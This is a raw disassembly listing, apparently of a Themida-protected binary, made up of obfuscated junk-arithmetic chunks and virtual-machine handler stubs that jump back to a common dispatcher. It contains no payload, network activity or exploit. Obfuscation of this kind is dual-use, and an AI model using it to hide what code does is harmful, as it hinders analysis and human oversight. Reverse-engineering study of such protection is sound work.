; START OF FUNCTION CHUNK FOR sub_585452
loc_58682C: ; CODE XREF: sub_585452+9104j
xchg eax, [esp+46h+var_48+2]
jmp loc_58D19D
; ---------------------------------------------------------------------------
loc_586834: ; CODE XREF: sub_585452+4D80j
xor ecx, [esp+46h+var_48+2]
xor [esp+46h+var_48+2], ecx
xor ecx, [esp+46h+var_48+2]
jmp loc_58B608
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586842: ; CODE XREF: Themida_:0058F772j
div cx
push ebx
push esp
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_588C22
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5886E0
loc_586858: ; CODE XREF: sub_5886E0+27B3j
mov esi, 65C83358h
inc esi
or esi, 36B32421h
dec esi
add esi, 70A139B3h
neg esi
sub esi, 0FB1D5B4Eh
jmp loc_589CDA
; END OF FUNCTION CHUNK FOR sub_5886E0
; ---------------------------------------------------------------------------
loc_586878: ; CODE XREF: Themida_:005877C9j
pop eax
add esp, 4
push edx
push esp
pop edx
push ebp
mov ebp, 4
add edx, 7366104Ah
sub edx, 3F7C1BE9h
add edx, ebp
add edx, 3F7C1BE9h
sub edx, 7366104Ah
pop ebp
sub esp, 4
jmp loc_58D5C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_5868AB: ; CODE XREF: sub_58EFBD-4050j
push 5E6Bh
mov [esp-4+arg_0], esi
sub esp, 4
mov [esp+0], ecx
mov ecx, 6F2C0D7Bh
mov esi, ecx
pop ecx
jmp loc_58A382
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5868C9: ; CODE XREF: sub_585452+2E87j
add edx, esi
add edx, 101D74D6h
jmp loc_587628
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5868D6: ; CODE XREF: Themida_:0058DC6Fj
pop ecx
not ebx
jmp loc_58959D
; ---------------------------------------------------------------------------
loc_5868DE: ; CODE XREF: Themida_:0058A131j
and edi, 74374A5Eh
jmp loc_58E63C
; ---------------------------------------------------------------------------
loc_5868E9: ; CODE XREF: Themida_:00587224j
add edx, 285C42A7h
sub edx, 732214BFh
push ebx
mov ebx, 5BD12689h
add ebx, 64F84389h
shl ebx, 5
jmp loc_58489E
; ---------------------------------------------------------------------------
loc_586909: ; CODE XREF: Themida_:0058C915j
sub ebx, 4
xchg ebx, [esp]
pop esp
push 3BF8h
push esp
pop dword ptr [esp]
jmp loc_585F5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58691E: ; CODE XREF: sub_585452+5553j
add esi, 4
sub esi, 4
xchg esi, [esp+46h+var_48+2]
mov esp, [esp+46h+var_48+2]
jmp loc_58E7C7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BE98
loc_586935: ; CODE XREF: sub_58BE98+351Fj
sub edi, 0FC1FDC94h
mov edx, edi
mov edi, [esp+4+var_4]
add esp, 4
jmp loc_584433
; END OF FUNCTION CHUNK FOR sub_58BE98
; ---------------------------------------------------------------------------
loc_58694B: ; CODE XREF: Themida_:00584E6Dj
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_586956: ; CODE XREF: Themida_:00586E6Aj
sub edx, 4
xchg edx, [esp]
pop esp
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop ecx
jmp loc_5848BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_586971: ; CODE XREF: sub_58999B+358Aj
pop ebx
add ebx, eax
pop eax
jmp loc_58FE24
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C92B
loc_58697A: ; CODE XREF: sub_58C92B-86E4j
dec ebx
jmp loc_58473D
; END OF FUNCTION CHUNK FOR sub_58C92B
; ---------------------------------------------------------------------------
loc_586980: ; CODE XREF: Themida_:005875AAj
sub ebp, 350D16CEh
add ebp, 5C76968h
inc ebp
add ebp, 185FA5A7h
add edx, ebp
pop ebp
jmp loc_586D72
; ---------------------------------------------------------------------------
loc_58699B: ; CODE XREF: Themida_:00584279j
mov eax, 75C01476h
or eax, 385D3411h
sub eax, 0C4910F8h
shr eax, 7
jmp loc_58CA63
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5869B2: ; CODE XREF: sub_585452+674Dj
add esp, 4
push ecx
mov ecx, 792D4E69h
dec ecx
sub ecx, 65640BCEh
shr ecx, 3
add ecx, 0D1EF2DCEh
sub edx, ecx
jmp loc_58F777
; ---------------------------------------------------------------------------
loc_5869D2: ; CODE XREF: sub_585452-CDCj
mov [esp+0], ebx
jmp loc_58BA71
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_5869DA: ; CODE XREF: sub_587574+318Ej
mov edi, 5E5D386Ah
shl edi, 5
add edi, 3C2F4F05h
sub eax, edi
pop edi
add eax, edi
push 2407h
jmp loc_58FB27
; ---------------------------------------------------------------------------
loc_5869F7: ; CODE XREF: sub_587574+85BBj
add eax, ebx
mov ebx, [esp+0]
add esp, 4
mov dword ptr [eax], 1
pop eax
push ebx
mov ebx, 26FC5689h
mov [edi+24h], ebx
pop ebx
xor [edi+24h], edx
xor edx, [edi+24h]
xor [edi+24h], edx
neg edx
xchg edx, [edi+24h]
jmp loc_58840E
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
loc_586A26: ; CODE XREF: Themida_:0058FE4Ej
add esp, 4
push small word ptr [eax]
jmp loc_583C20
; =============== S U B R O U T I N E =======================================
sub_586A34 proc near ; CODE XREF: sub_585452+6F81j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005840B1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058523A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005881C2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058985A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058B9C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058C03C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C706 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058D532 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DABD SIZE 00000014 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 5DCB3DFBh
mov eax, ebx
jmp loc_58523A
sub_586A34 endp
; ---------------------------------------------------------------------------
loc_586A49: ; CODE XREF: Themida_:00584EFAj
push ecx
mov ecx, 3C0F6D8Eh
jmp loc_589460
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586A54: ; CODE XREF: sub_585452+9391j
movzx cx, al
push cx
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586A60: ; CODE XREF: Themida_:00587302j
push 0E95h
mov [esp], edx
push eax
mov eax, 600F426Ch
xor eax, 24E4B83Eh
push eax
sub dword ptr [esp], 34FC7425h
pop edx
add edx, 34FC7425h
pop eax
mov edi, edx
jmp loc_584F85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586A8A: ; CODE XREF: sub_585452+273Dj
push eax
push edx
mov dl, 19h
jmp loc_584EAD
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov ax, [esp]
push edi
push esp
pop edi
push 3957h
mov [esp], ebx
mov ebx, 4
add edi, 35EE5CD9h
add edi, ebx
sub edi, 35EE5CD9h
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5895D6
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_586ACE: ; CODE XREF: Themida_:0058F54Fj
add eax, 22314055h
add eax, esi
jmp loc_588606
; ---------------------------------------------------------------------------
loc_586ADA: ; CODE XREF: Themida_:00589910j
pop edx
jmp loc_589867
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
push small 7AE2h
mov [esp], ax
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_586AF1: ; CODE XREF: Themida_:0058CAACj
mov ecx, esp
push eax
jmp loc_5849A4
; ---------------------------------------------------------------------------
loc_586AF9: ; CODE XREF: Themida_:005894BAj
mov [esp], ebx
jmp loc_5853AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DEA3
loc_586B01: ; CODE XREF: sub_58DEA3-8CC8j
push 20CDh
mov [esp], edx
jmp loc_587712
; END OF FUNCTION CHUNK FOR sub_58DEA3
; =============== S U B R O U T I N E =======================================
sub_586B0E proc near ; CODE XREF: sub_585452+1C9Bj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058AD8B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DEF5 SIZE 0000000A BYTES
sub esp, 4
mov [esp+4+var_4], edi
jmp loc_58DEF5
sub_586B0E endp
; ---------------------------------------------------------------------------
loc_586B1C: ; CODE XREF: Themida_:0058B199j
mov [esp], edi
mov edi, 25333428h
mov eax, 529E2B63h
add eax, edi
pop edi
jmp loc_58F661
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_586B3B: ; CODE XREF: sub_587574+23BDj
xchg eax, edx
neg edx
xchg eax, edx
or eax, 46AA68A1h
jmp loc_58F5F0
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
loc_586B49: ; CODE XREF: Themida_:00587394j
mov edx, 4
add eax, edx
jmp loc_589A18
; ---------------------------------------------------------------------------
loc_586B55: ; CODE XREF: Themida_:0058520Bj
mov esp, [esp]
add esp, 4
inc dword ptr [esp]
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_586B67: ; CODE XREF: sub_58FA66+204j
xor [esp-4+arg_0], ecx
xor ecx, [esp-4+arg_0]
xor [esp-4+arg_0], ecx
jmp loc_58FDEC
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586B75: ; CODE XREF: sub_585452-D86j
add ecx, esi
pop esi
push ecx
push [esp+arg_0]
pop ecx
jmp loc_58B28C
; ---------------------------------------------------------------------------
loc_586B83: ; CODE XREF: sub_585452-4ACj
add edi, 4
add edi, 4
xchg edi, [esp-0Ah+arg_4+2]
jmp loc_589915
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586B94: ; CODE XREF: Themida_:0058428Dj
pop edx
add edi, 4
jmp loc_58586C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586B9D: ; CODE XREF: sub_585452+AB2Ej
mov [esp-0Ah+arg_4+2], ebp
mov ebp, 78424D59h
inc ebp
sub ebp, 0FD7710FBh
jmp loc_589BA3
; ---------------------------------------------------------------------------
loc_586BB1: ; CODE XREF: sub_585452-928j
push edi
pop edx
mov edi, [esp+0]
add esp, 4
or edx, 2B312FAh
xchg edi, edx
not edi
xchg edi, edx
inc edx
jmp loc_58DA3F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586BCB: ; CODE XREF: Themida_:0058ECD6j
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop edx
add esp, 4
add esp, 4
add esp, 4
or eax, eax
jz loc_589CF3
push ecx
push 5908h
mov [esp], edx
mov edx, 0FEh
push edi
mov edi, edx
mov ecx, edi
mov edi, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
and [edi+1Ch], ecx
jmp loc_58E5E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586C13: ; CODE XREF: sub_585452+64E6j
mov dh, 0E8h
and dh, 4Bh
or dh, 0D2h
push ebx
mov bh, 0BAh
add bh, 0FFh
jmp loc_5875E4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586C26: ; CODE XREF: Themida_:00586D9Dj
pop dword ptr [esp]
pop esp
xor [esp], ax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_586C34: ; CODE XREF: Themida_:00586E54j
sub ebx, 7D2254F7h
shl ebx, 6
inc ebx
push ebx
push esi
pop ebx
pop esi
jmp loc_58F06C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586C47: ; CODE XREF: sub_585452+75j
mov bh, 9Dh
jmp loc_58BD67
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586C4E: ; CODE XREF: Themida_:0058B9F1j
add ebp, 4
sub ebp, 4
jmp loc_585CBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BCA7
loc_586C5C: ; CODE XREF: sub_58BCA7-588Fj
add esp, 4
and eax, ebp
mov ebp, [esp+0]
sub esp, 4
jmp loc_584255
; END OF FUNCTION CHUNK FOR sub_58BCA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586C6F: ; CODE XREF: sub_585452+38CAj
push 3C94h
mov [esp+0Eh+var_10+2], esi
mov esi, 0DBB71E7h
jmp loc_58E55B
; ---------------------------------------------------------------------------
loc_586C81: ; CODE XREF: sub_585452+70A1j
push 599Dh
jmp loc_58DBE5
; ---------------------------------------------------------------------------
loc_586C8B: ; CODE XREF: sub_585452+7CE1j
push [esp+12h+var_14+2]
pop edx
jmp loc_587FF0
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58960C
loc_586C94: ; CODE XREF: sub_58960C-DA4j
mov ebp, ebx
jmp loc_58A29B
; END OF FUNCTION CHUNK FOR sub_58960C
; ---------------------------------------------------------------------------
loc_586C9B: ; CODE XREF: Themida_:0058C6EAj
pop ebx
jmp loc_5866FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DA2E
loc_586CA1: ; CODE XREF: sub_58DA2E+7j
push eax
jmp loc_5867F5
; END OF FUNCTION CHUNK FOR sub_58DA2E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E6C2
loc_586CA7: ; CODE XREF: sub_58E6C2+9j
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
mov ebp, [esp+8+var_8]
add esp, 4
push edx
push edi
mov edi, 3EE14AB8h
mov edx, 3EE14ABCh
xor edx, edi
pop edi
add ebp, edx
push [esp+8+var_8]
pop edx
add esp, 4
add ebp, 2
jmp sub_586F2E
; END OF FUNCTION CHUNK FOR sub_58E6C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586CD7: ; CODE XREF: sub_585452+5DA9j
pop ebx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+12h+var_14+2]
pop esp
mov [esp+0Eh+var_10+2], edx
mov edx, 6ACD2899h
jmp loc_58D736
; ---------------------------------------------------------------------------
loc_586CF5: ; CODE XREF: sub_585452+39E3j
mov [esp+0Eh+var_10+2], edi
mov edi, 21CB4B2Bh
push ebp
mov ebp, 6AB67118h
jmp loc_58CDE7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586D08: ; CODE XREF: Themida_:0058D6EEj
mov ebp, [esp]
add esp, 4
push ecx
jmp loc_5852A9
; ---------------------------------------------------------------------------
loc_586D14: ; CODE XREF: Themida_:0058E209j
xchg ecx, [esp]
pop esp
jmp loc_589906
; ---------------------------------------------------------------------------
loc_586D1D: ; CODE XREF: Themida_:005845C1j
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_58BA39
; ---------------------------------------------------------------------------
loc_586D31: ; CODE XREF: Themida_:0058801Ej
add bl, al
push 5EB6h
mov [esp], ecx
mov cl, 0C5h
or cl, 8Ah
push ebx
mov bh, 6Ch
jmp loc_5886D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586D48: ; CODE XREF: sub_585452+29Bj
pop [esp+0Ah+var_C+2]
mov esp, [esp+6+var_8+2]
mov cx, word ptr [esp+6+var_8+2]
push 7C97h
mov [esp+0Ah+var_C+2], esi
push esp
jmp loc_58C3D1
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D7D9
loc_586D60: ; CODE XREF: sub_58D7D9-125j
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
push esi
push edi
mov edi, 105F11ECh
jmp loc_5877E3
; END OF FUNCTION CHUNK FOR sub_58D7D9
; ---------------------------------------------------------------------------
loc_586D72: ; CODE XREF: Themida_:00586996j
xchg edx, [esp]
pop esp
push eax
push 1FB5h
mov [esp], edx
push 0EFE0C5Eh
push dword ptr [esp]
jmp loc_58E475
; ---------------------------------------------------------------------------
loc_586D8C: ; CODE XREF: Themida_:005898DBj
add ebx, ebp
pop ebp
add esi, ebx
pop ebx
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
jmp loc_586C26
; ---------------------------------------------------------------------------
loc_586DA2: ; CODE XREF: Themida_:00585FF3j
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
mul ecx
push 1463h
mov [esp], edx
push eax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586DCC: ; CODE XREF: sub_585452+9284j
add edx, eax
pop eax
sub edx, 4
xchg edx, [esp+0Ah+var_C+2]
pop esp
mov [esp+6+var_8+2], ebp
jmp loc_58A743
; ---------------------------------------------------------------------------
loc_586DDE: ; CODE XREF: sub_585452+6A72j
dec eax
shl eax, 8
jmp loc_588E63
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586DE7: ; CODE XREF: Themida_:0058F28Fj
push esi
mov esi, 3A96758Dh
sub [esp+4], esi
pop esi
mov eax, [esp]
jmp loc_5877A0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586DFA: ; CODE XREF: sub_585452+9370j
push edi
mov edi, 6F51316h
shr edi, 4
xchg eax, edi
inc eax
xchg eax, edi
jmp loc_58858F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586E0B: ; CODE XREF: Themida_:005888D0j
pop ebp
add ebp, 4
push edi
mov edi, 4
add ebp, edi
pop edi
xor ebp, [esp]
jmp loc_58C04E
; ---------------------------------------------------------------------------
loc_586E23: ; CODE XREF: Themida_:0058C4A1j
mov ah, 0CCh
or cl, ah
mov ax, [esp]
add esp, 2
shr cl, 8
add cl, 0D8h
dec cl
not cl
add cl, 0DFh
add al, cl
pop ecx
push ecx
push 623Ah
jmp loc_5845C6
; ---------------------------------------------------------------------------
loc_586E4C: ; CODE XREF: Themida_:00586ECDj
mov ebx, 0F0821FDh
shr ebx, 8
jmp loc_586C34
; ---------------------------------------------------------------------------
loc_586E59: ; CODE XREF: Themida_:0058D4ABj
push 4E44h
mov [esp], ecx
push edx
push esp
pop edx
add edx, 4
jmp loc_586956
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B758
loc_586E6F: ; CODE XREF: sub_58B758+15C2j
add edx, ebp
push esi
push 34CE2C2Bh
pop esi
add edx, esi
pop esi
jmp loc_58ECE2
; END OF FUNCTION CHUNK FOR sub_58B758
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_586E80: ; CODE XREF: sub_589967+371Dj
not dword ptr [esp+0]
jmp loc_58F0F9
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DEA3
loc_586E88: ; CODE XREF: sub_58DEA3-9724j
or cl, 5Eh
xor cl, 0BDh
shl cl, 1
jmp loc_5851C3
; END OF FUNCTION CHUNK FOR sub_58DEA3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_586E95: ; CODE XREF: sub_58FA66-A6EAj
pop eax
push ecx
push 3519h
mov [esp+8+var_8], esi
mov esi, 1
mov ecx, esi
push [esp+8+var_8]
pop esi
push 3580h
mov [esp+0Ch+var_C], ecx
jmp loc_587FC8
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586EB7: ; CODE XREF: sub_585452+7EBAj
push esp
jmp loc_589109
; ---------------------------------------------------------------------------
loc_586EBD: ; CODE XREF: sub_585452+7DBFj
mov [esp+0Eh+var_10+2], eax
jmp loc_586FBB
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586EC5: ; CODE XREF: Themida_:0058BCDDj
push 560Eh
mov [esp], ebx
jmp loc_586E4C
; ---------------------------------------------------------------------------
loc_586ED2: ; CODE XREF: Themida_:0058EC43j
pop edx
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_58AFC2
; ---------------------------------------------------------------------------
loc_586EE0: ; CODE XREF: Themida_:0058CBBBj
xchg bl, ch
push bx
push ecx
mov ch, 17h
mov bh, ch
mov ecx, [esp]
jmp loc_58C264
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586EF1: ; CODE XREF: sub_585452+901Ej
add ebx, esi
jmp loc_583D55
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586EF8: ; CODE XREF: Themida_:00589B13j
mov edx, 0F51A95F9h
add edx, eax
pop eax
add ebx, 0C08028Fh
add ebx, edx
sub ebx, 0C08028Fh
mov edx, [esp]
jmp loc_58E9C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586F16: ; CODE XREF: sub_585452+4975j
pop eax
add esp, 4
and eax, edi
pop edi
jmp loc_584389
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_586F22: ; CODE XREF: sub_58EFBD-6AA3j
sub ebp, 7E602FB5h
pop ebx
jmp loc_589745
; END OF FUNCTION CHUNK FOR sub_58EFBD
; =============== S U B R O U T I N E =======================================
sub_586F2E proc near ; CODE XREF: sub_58E6C2-79F0j
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 0058935D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F958 SIZE 00000010 BYTES
push ebp
push dword ptr [esp+4]
jmp loc_58935D
sub_586F2E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586F38: ; CODE XREF: sub_585452-1342j
add [esp+8+var_4], 706161A3h
sub [esp+8+var_4], ebp
sub [esp+8+var_4], 706161A3h
push eax
jmp loc_5860C3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_586F52: ; CODE XREF: Themida_:00589011j
mov [esp], edx
mov edx, 2
push ebx
mov ebx, 781F73F2h
xor ebx, 71C07D1Fh
sub edi, ebx
pop ebx
add edi, 61F35348h
jmp loc_58EFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586F74: ; CODE XREF: sub_585452-31Ej
push 3EC4h
mov [esp+6+var_8+2], ebx
jmp loc_58B1FA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A170
loc_586F81: ; CODE XREF: sub_58A170+2240j
pop ecx
jmp loc_58E74F
; END OF FUNCTION CHUNK FOR sub_58A170
; ---------------------------------------------------------------------------
loc_586F87: ; CODE XREF: Themida_:005870CDj
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586F8C: ; CODE XREF: sub_585452-FE7j
shr edi, 8
jmp loc_58B7B4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
lodsd
push ecx
push eax
mov eax, 125145C6h
shl eax, 2
jmp loc_58924E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586FA4: ; CODE XREF: sub_585452+596Dj
push esi
push edx
mov edx, esp
jmp loc_58E6D0
; ---------------------------------------------------------------------------
loc_586FAD: ; CODE XREF: sub_585452-1590j
mov [esp-4+arg_0], eax
sub esp, 4
jmp loc_584A35
; ---------------------------------------------------------------------------
loc_586FBB: ; CODE XREF: sub_585452+1A6Ej
mov al, 40h
add ch, al
mov eax, [esp+0Eh+var_10+2]
push edi
mov edi, esp
jmp loc_58994D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_586FCA: ; CODE XREF: sub_58FA66-4A82j
pop esp
and eax, ecx
pop ecx
or edx, eax
shl edx, 1
push ebp
jmp loc_584757
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_586FD8: ; CODE XREF: sub_585452+4C6Cj
pop eax
xor edx, 4F7ADFE9h
push ebp
mov ebp, edx
mov esi, ebp
pop ebp
pop edx
push 0
sub [esp+0Eh+var_10+2], esi
mov esi, [esp+0Eh+var_10+2]
add esp, 4
push edi
mov edi, 0E4A6079h
and esi, edi
pop edi
or esi, 4E7F7B64h
shr esi, 1
jmp loc_588C17
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58700A: ; CODE XREF: Themida_:0058E093j
pop edx
jmp loc_58B4DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587010: ; CODE XREF: sub_585452+51D5j
push [esp+0Ah+var_8+2]
pop ebx
jmp loc_58A3C8
; ---------------------------------------------------------------------------
loc_58701A: ; CODE XREF: sub_585452+9F09j
sub ebx, 0D4F491Ah
jmp loc_58A61D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B758
loc_587034: ; CODE XREF: sub_58B758+358Bj
mov edi, 15C76CC7h
dec edi
jmp sub_58F728
; END OF FUNCTION CHUNK FOR sub_58B758
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58703F: ; CODE XREF: sub_585452+5D2j
add ecx, ebx
jmp loc_58D17D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587046: ; CODE XREF: Themida_:005866EEj
mov [esp], eax
mov eax, 4
sub esi, 23821540h
add esi, eax
add esi, 23821540h
pop eax
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
xor [esp], eax
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587071: ; CODE XREF: sub_585452+3BFBj
pop edi
inc edx
sub edx, 8AD725E7h
mov edi, edx
pop edx
jmp loc_583FE2
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov eax, [esp]
push eax
jmp loc_58DC58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58708A: ; CODE XREF: sub_585452+518j
push ecx
mov ecx, 13FD5AD6h
dec ecx
add ecx, 0FFFFFFFFh
shl ecx, 1
jmp loc_58DAF4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5870A9: ; CODE XREF: sub_585452+6178j
pop ebx
push ecx
jmp loc_58BD91
; ---------------------------------------------------------------------------
loc_5870B0: ; CODE XREF: sub_585452+A519j
push ax
jmp loc_58877C
; ---------------------------------------------------------------------------
loc_5870B7: ; CODE XREF: sub_585452-762j
xor edx, [esp-1Eh+arg_1A]
jmp loc_587988
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5870BF: ; CODE XREF: Themida_:0058F9F8j
or bh, 0A4h
neg bh
dec bh
jmp loc_584D91
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_586F87
; ---------------------------------------------------------------------------
loc_5870D2: ; CODE XREF: Themida_:0058C487j
mov [esp], eax
push esp
mov eax, [esp]
add esp, 4
add eax, 4
sub esp, 4
jmp loc_583DB6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5870EC: ; CODE XREF: sub_585452+4BD3j
push edx
jmp sub_586B0E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_5870F2: ; CODE XREF: sub_587574+EB9j
mov eax, 1
sub ecx, eax
mov eax, [esp+0]
jmp loc_5896AC
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_587101: ; CODE XREF: sub_58F728-4105j
add ecx, ebx
jmp loc_58D9E6
